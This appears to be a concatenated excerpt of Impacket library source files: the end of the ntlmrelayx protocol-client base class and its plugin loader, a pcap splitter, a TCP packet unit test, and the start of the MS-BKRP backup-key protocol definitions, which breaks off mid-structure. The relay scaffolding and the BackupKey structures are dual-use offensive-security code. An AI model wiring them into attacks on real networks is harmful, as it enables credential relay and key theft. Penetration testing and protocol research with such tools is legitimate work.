62 | :param bytes authenticateMessageBlob: 63 | :param bytes serverChallenge: 64 | :return: 65 | """ 66 | raise RuntimeError('Virtual Function') 67 | 68 | def sendStandardSecurityAuth(self, sessionSetupData): 69 | # Handle the situation When FLAGS2_EXTENDED_SECURITY is not set 70 | raise RuntimeError('Virtual Function') 71 | 72 | def getSession(self): 73 | # Should return the active session for the relayed connection 74 | raise RuntimeError('Virtual Function') 75 | 76 | def getSessionData(self): 77 | # Should return any extra data that could be useful for the SOCKS proxy to work (e.g. some of the 78 | # answers from the original server) 79 | return self.sessionData 80 | 81 | def getStandardSecurityChallenge(self): 82 | # Should return the Challenge returned by the server when Extended Security is not set 83 | # This should only happen with against old Servers. By default we return None 84 | return None 85 | 86 | def keepAlive(self): 87 | # Charged of keeping connection alive 88 | raise RuntimeError('Virtual Function') 89 | 90 | def isAdmin(self): 91 | # Should return whether or not the user is admin in the form of a string (e.g. "TRUE", "FALSE") 92 | # Depending on the protocol, different techniques should be used. 93 | # By default, raise exception 94 | raise RuntimeError('Virtual Function') 95 | 96 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'clients'): 97 | if file.find('__') >= 0 or file.endswith('.py') is False: 98 | continue 99 | # This seems to be None in some case (py3 only) 100 | # __spec__ is py3 only though, but I haven't seen this being None on py2 101 | # so it should cover all cases. 102 | try: 103 | package = __spec__.name # Python 3 104 | except NameError: 105 | package = __package__ # Python 2 106 | __import__(package + '.' + os.path.splitext(file)[0]) 107 | module = sys.modules[package + '.' + os.path.splitext(file)[0]] 108 | try: 109 | pluginClasses = set() 110 | try: 111 | if hasattr(module,'PROTOCOL_CLIENT_CLASSES'): 112 | for pluginClass in module.PROTOCOL_CLIENT_CLASSES: 113 | pluginClasses.add(getattr(module, pluginClass)) 114 | else: 115 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_CLIENT_CLASS'))) 116 | except Exception as e: 117 | LOG.debug(e) 118 | pass 119 | 120 | for pluginClass in pluginClasses: 121 | LOG.info('Protocol Client %s loaded..' % pluginClass.PLUGIN_NAME) 122 | PROTOCOL_CLIENTS[pluginClass.PLUGIN_NAME] = pluginClass 123 | except Exception as e: 124 | LOG.debug(str(e)) 125 | -------------------------------------------------------------------------------- /examples/split.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Pcap dump splitter. 9 | # 10 | # This tools splits pcap capture files into smaller ones, one for each 11 | # different TCP/IP connection found in the original. 12 | # 13 | # Authors: 14 | # Alejandro D. Weil 15 | # Javier Kohen 16 | # 17 | # Reference for: 18 | # pcapy: open_offline, pcapdumper. 19 | # ImpactDecoder. 20 | from __future__ import division 21 | from __future__ import print_function 22 | import sys 23 | import pcapy 24 | from pcapy import open_offline 25 | 26 | from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder 27 | 28 | 29 | class Connection: 30 | """This class can be used as a key in a dictionary to select a connection 31 | given a pair of peers. Two connections are considered the same if both 32 | peers are equal, despite the order in which they were passed to the 33 | class constructor. 34 | """ 35 | 36 | def __init__(self, p1, p2): 37 | """This constructor takes two tuples, one for each peer. The first 38 | element in each tuple is the IP address as a string, and the 39 | second is the port as an integer. 40 | """ 41 | 42 | self.p1 = p1 43 | self.p2 = p2 44 | 45 | def getFilename(self): 46 | """Utility function that returns a filename composed by the IP 47 | addresses and ports of both peers. 48 | """ 49 | return '%s.%d-%s.%d.pcap'%(self.p1[0],self.p1[1],self.p2[0],self.p2[1]) 50 | 51 | def __cmp__(self, other): 52 | if ((self.p1 == other.p1 and self.p2 == other.p2) 53 | or (self.p1 == other.p2 and self.p2 == other.p1)): 54 | return 0 55 | else: 56 | return -1 57 | 58 | def __hash__(self): 59 | return (hash(self.p1[0]) ^ hash(self.p1[1]) 60 | ^ hash(self.p2[0]) ^ hash(self.p2[1])) 61 | 62 | 63 | class Decoder: 64 | def __init__(self, pcapObj): 65 | # Query the type of the link and instantiate a decoder accordingly. 66 | datalink = pcapObj.datalink() 67 | if pcapy.DLT_EN10MB == datalink: 68 | self.decoder = EthDecoder() 69 | elif pcapy.DLT_LINUX_SLL == datalink: 70 | self.decoder = LinuxSLLDecoder() 71 | else: 72 | raise Exception("Datalink type not supported: " % datalink) 73 | 74 | self.pcap = pcapObj 75 | self.connections = {} 76 | 77 | def start(self): 78 | # Sniff ad infinitum. 79 | # PacketHandler shall be invoked by pcap for every packet. 80 | self.pcap.loop(0, self.packetHandler) 81 | 82 | def packetHandler(self, hdr, data): 83 | """Handles an incoming pcap packet. This method only knows how 84 | to recognize TCP/IP connections. 85 | Be sure that only TCP packets are passed onto this handler (or 86 | fix the code to ignore the others). 87 | 88 | Setting r"ip proto \tcp" as part of the pcap filter expression 89 | suffices, and there shouldn't be any problem combining that with 90 | other expressions. 91 | """ 92 | 93 | # Use the ImpactDecoder to turn the rawpacket into a hierarchy 94 | # of ImpactPacket instances. 95 | p = self.decoder.decode(data) 96 | ip = p.child() 97 | tcp = ip.child() 98 | 99 | # Build a distinctive key for this pair of peers. 100 | src = (ip.get_ip_src(), tcp.get_th_sport() ) 101 | dst = (ip.get_ip_dst(), tcp.get_th_dport() ) 102 | con = Connection(src,dst) 103 | 104 | # If there isn't an entry associated yetwith this connection, 105 | # open a new pcapdumper and create an association. 106 | if ('%s%s' % (con.p1, con.p2)) not in self.connections: 107 | fn = con.getFilename() 108 | print("Found a new connection, storing into:", fn) 109 | try: 110 | dumper = self.pcap.dump_open(fn) 111 | except pcapy.PcapError: 112 | print("Can't write packet to:", fn) 113 | return 114 | self.connections['%s%s' % (con.p1, con.p2)] = dumper 115 | 116 | # Write the packet to the corresponding file. 117 | self.connections['%s%s' % (con.p1, con.p2)].dump(hdr, data) 118 | 119 | 120 | 121 | def main(filename): 122 | # Open file 123 | p = open_offline(filename) 124 | 125 | # At the moment the callback only accepts TCP/IP packets. 126 | p.setfilter(r'ip proto \tcp') 127 | 128 | print("Reading from %s: linktype=%d" % (filename, p.datalink())) 129 | 130 | # Start decoding process. 131 | Decoder(p).start() 132 | 133 | 134 | # Process command-line arguments. 135 | if __name__ == '__main__': 136 | if len(sys.argv) <= 1: 137 | print("Usage: %s " % sys.argv[0]) 138 | sys.exit(1) 139 | 140 | main(sys.argv[1]) 141 | -------------------------------------------------------------------------------- /tests/ImpactPacket/test_TCP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #Impact test version 3 | try: 4 | from impacket.ImpactDecoder import EthDecoder 5 | from impacket.ImpactPacket import TCP 6 | except: 7 | raise 8 | pass 9 | 10 | #Standalone test version 11 | try: 12 | import sys 13 | sys.path.insert(0,"../..") 14 | from ImpactDecoder import EthDecoder 15 | from ImpactPacket import TCP 16 | except: 17 | pass 18 | 19 | import unittest 20 | 21 | class TestTCP(unittest.TestCase): 22 | 23 | def setUp(self): 24 | # TCP - sport: 60655, dport: 80, sec: 0, HLen: 40, Flags: 0x02, win_size: 5840 25 | # cksum: 0x64cb, Options: 0x20 26 | self.frame = b'\xec\xef\x00\x50\xa8\xbd\xea\x4c\x00\x00\x00\x00\xa0\x02\x16\xd0' \ 27 | b'\x64\xcb\x00\x00\x02\x04\x05\xb4\x04\x02\x08\x0a\x00\xdc\xd6\x12' \ 28 | b'\x00\x00\x00\x00\x01\x03\x03\x06' 29 | 30 | self.tcp = TCP(self.frame) 31 | 32 | def test_01(self): 33 | 'Test TCP get_packet' 34 | self.assertEqual(self.tcp.get_packet(), self.frame) 35 | 36 | def test_02(self): 37 | 'Test TCP getters' 38 | self.assertEqual(self.tcp.get_th_sport(), 60655) 39 | self.assertEqual(self.tcp.get_th_dport(), 80) 40 | self.assertEqual(self.tcp.get_th_off()*4, 40) # *4 because are words 41 | self.assertEqual(self.tcp.get_th_flags(), 0x02) 42 | self.assertEqual(self.tcp.get_th_win(), 5840) 43 | self.assertEqual(self.tcp.get_th_sum(), 0x64cb) 44 | self.assertEqual(self.tcp.get_SYN(), 1) 45 | self.assertEqual(self.tcp.get_RST(), 0) 46 | 47 | def test_03(self): 48 | 'Test TCP port setters' 49 | self.tcp.set_th_sport(54321) 50 | self.assertEqual(self.tcp.get_th_sport(), 54321) 51 | 52 | self.tcp.set_th_dport(81) 53 | self.assertEqual(self.tcp.get_th_dport(), 81) 54 | 55 | def test_04(self): 56 | 'Test TCP offset setters' 57 | # test that set_th_off doesn't affect to flags 58 | flags = int('10101010',2) 59 | self.tcp.set_th_flags( flags ) 60 | self.assertEqual(self.tcp.get_th_flags(), flags) 61 | 62 | self.tcp.set_th_off(4) 63 | self.assertEqual(self.tcp.get_th_off(), 4) 64 | self.assertEqual(self.tcp.get_th_flags(), flags) 65 | 66 | def test_05(self): 67 | 'Test TCP win setters' 68 | 69 | self.tcp.set_th_win(12345) 70 | self.assertEqual(self.tcp.get_th_win(), 12345) 71 | 72 | def test_06(self): 73 | 'Test TCP checksum setters' 74 | self.tcp.set_th_sum(0xFEFE) 75 | self.assertEqual(self.tcp.get_th_sum(), 0xFEFE) 76 | 77 | 78 | def test_07(self): 79 | 'Test TCP flags setters' 80 | self.tcp.set_th_flags(0x03) # SYN+FIN 81 | self.assertEqual(self.tcp.get_th_flags(), 0x03) 82 | 83 | self.tcp.set_ACK() 84 | self.assertEqual(self.tcp.get_ACK(), 1) 85 | self.assertEqual(self.tcp.get_SYN(), 1) 86 | self.assertEqual(self.tcp.get_FIN(), 1) 87 | self.assertEqual(self.tcp.get_RST(), 0) 88 | self.assertEqual(self.tcp.get_th_flags(), 19) 89 | 90 | def test_08(self): 91 | 'Test TCP reset_flags' 92 | # Test 1 93 | self.tcp.set_th_flags(19) # ACK+SYN+FIN 94 | self.assertEqual(self.tcp.get_th_flags(), 19) 95 | self.assertEqual(self.tcp.get_ACK(), 1) 96 | self.assertEqual(self.tcp.get_SYN(), 1) 97 | self.assertEqual(self.tcp.get_FIN(), 1) 98 | self.assertEqual(self.tcp.get_RST(), 0) 99 | 100 | self.tcp.reset_flags(0x02) 101 | 102 | self.assertEqual(self.tcp.get_th_flags(), 17) 103 | 104 | # Test 2 105 | flags = int('10011', 2) # 19 = ACK+SYN+FIN 106 | self.tcp.set_th_flags(flags) 107 | self.assertEqual(self.tcp.get_th_flags(), 19) 108 | 109 | # 010011 110 | # 000010 111 | # ------ 112 | # 010001 = 17 113 | self.tcp.reset_flags(int('000010',2)) 114 | 115 | self.assertEqual(self.tcp.get_th_flags(), 17) 116 | 117 | # Test 3 118 | flags = int('10011', 2) # 19 = ACK+SYN+FIN 119 | self.tcp.set_th_flags(flags) 120 | self.assertEqual(self.tcp.get_th_flags(), 19) 121 | 122 | # 010011 123 | # 010001 124 | # ------ 125 | # 000010 = 2 126 | self.tcp.reset_flags(int('010001',2)) 127 | 128 | self.assertEqual(self.tcp.get_th_flags(), 2) 129 | 130 | def test_09(self): 131 | 'Test TCP set_flags' 132 | flags = int('10101010',2) # 0xAA 133 | self.tcp.set_flags(flags) 134 | self.assertEqual(self.tcp.get_FIN(), 0) 135 | self.assertEqual(self.tcp.get_SYN(), 1) 136 | self.assertEqual(self.tcp.get_RST(), 0) 137 | self.assertEqual(self.tcp.get_PSH(), 1) 138 | self.assertEqual(self.tcp.get_ACK(), 0) 139 | self.assertEqual(self.tcp.get_URG(), 1) 140 | self.assertEqual(self.tcp.get_ECE(), 0) 141 | self.assertEqual(self.tcp.get_CWR(), 1) 142 | self.assertEqual(self.tcp.get_th_flags(), 0xAA ) 143 | 144 | suite = unittest.TestLoader().loadTestsFromTestCase(TestTCP) 145 | unittest.TextTestRunner(verbosity=1).run(suite) 146 | -------------------------------------------------------------------------------- /impacket/dcerpc/v5/bkrp.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Author: Alberto Solino (@agsolino) 8 | # 9 | # Description: 10 | # [MS-BKRP] Interface implementation 11 | # 12 | # Best way to learn how to use these calls is to grab the protocol standard 13 | # so you understand what the call does, and then read the test case located 14 | # at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC 15 | # 16 | # Some calls have helper functions, which makes it even easier to use. 17 | # They are located at the end of this file. 18 | # Helper functions start with "h". 19 | # There are test cases for them too. 20 | # 21 | # ToDo: 22 | # [ ] 2.2.2 Client-Side-Wrapped Secret 23 | from __future__ import division 24 | from __future__ import print_function 25 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray 26 | from impacket.dcerpc.v5.dtypes import DWORD, NTSTATUS, GUID, RPC_SID, NULL 27 | from impacket.dcerpc.v5.rpcrt import DCERPCException 28 | from impacket import system_errors 29 | from impacket.uuid import uuidtup_to_bin, string_to_bin 30 | from impacket.structure import Structure 31 | 32 | MSRPC_UUID_BKRP = uuidtup_to_bin(('3dde7c30-165d-11d1-ab8f-00805f14db40', '1.0')) 33 | 34 | class DCERPCSessionError(DCERPCException): 35 | def __init__(self, error_string=None, error_code=None, packet=None): 36 | DCERPCException.__init__(self, error_string, error_code, packet) 37 | 38 | def __str__( self ): 39 | key = self.error_code 40 | if key in system_errors.ERROR_MESSAGES: 41 | error_msg_short = system_errors.ERROR_MESSAGES[key][0] 42 | error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] 43 | return 'BKRP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 44 | else: 45 | return 'BKRP SessionError: unknown error code: 0x%x' % self.error_code 46 | 47 | ################################################################################ 48 | # CONSTANTS 49 | ################################################################################ 50 | 51 | BACKUPKEY_BACKUP_GUID = string_to_bin("7F752B10-178E-11D1-AB8F-00805F14DB40") 52 | BACKUPKEY_RESTORE_GUID_WIN2K = string_to_bin("7FE94D50-178E-11D1-AB8F-00805F14DB40") 53 | BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID = string_to_bin("018FF48A-EABA-40C6-8F6D-72370240E967") 54 | BACKUPKEY_RESTORE_GUID = string_to_bin("47270C64-2FC7-499B-AC5B-0E37CDCE899A") 55 | 56 | ################################################################################ 57 | # STRUCTURES 58 | ################################################################################ 59 | class BYTE_ARRAY(NDRUniConformantArray): 60 | item = 'c' 61 | 62 | class PBYTE_ARRAY(NDRPOINTER): 63 | referent = ( 64 | ('Data', BYTE_ARRAY), 65 | ) 66 | 67 | # 2.2.4.1 Rc4EncryptedPayload Structure 68 | class Rc4EncryptedPayload(Structure): 69 | structure = ( 70 | ('R3', '32s=""'), 71 | ('MAC', '20s=""'), 72 | ('SID', ':', RPC_SID), 73 | ('Secret', ':'), 74 | ) 75 | 76 | # 2.2.4 Secret Wrapped with Symmetric Key 77 | class WRAPPED_SECRET(Structure): 78 | structure = ( 79 | ('SIGNATURE', '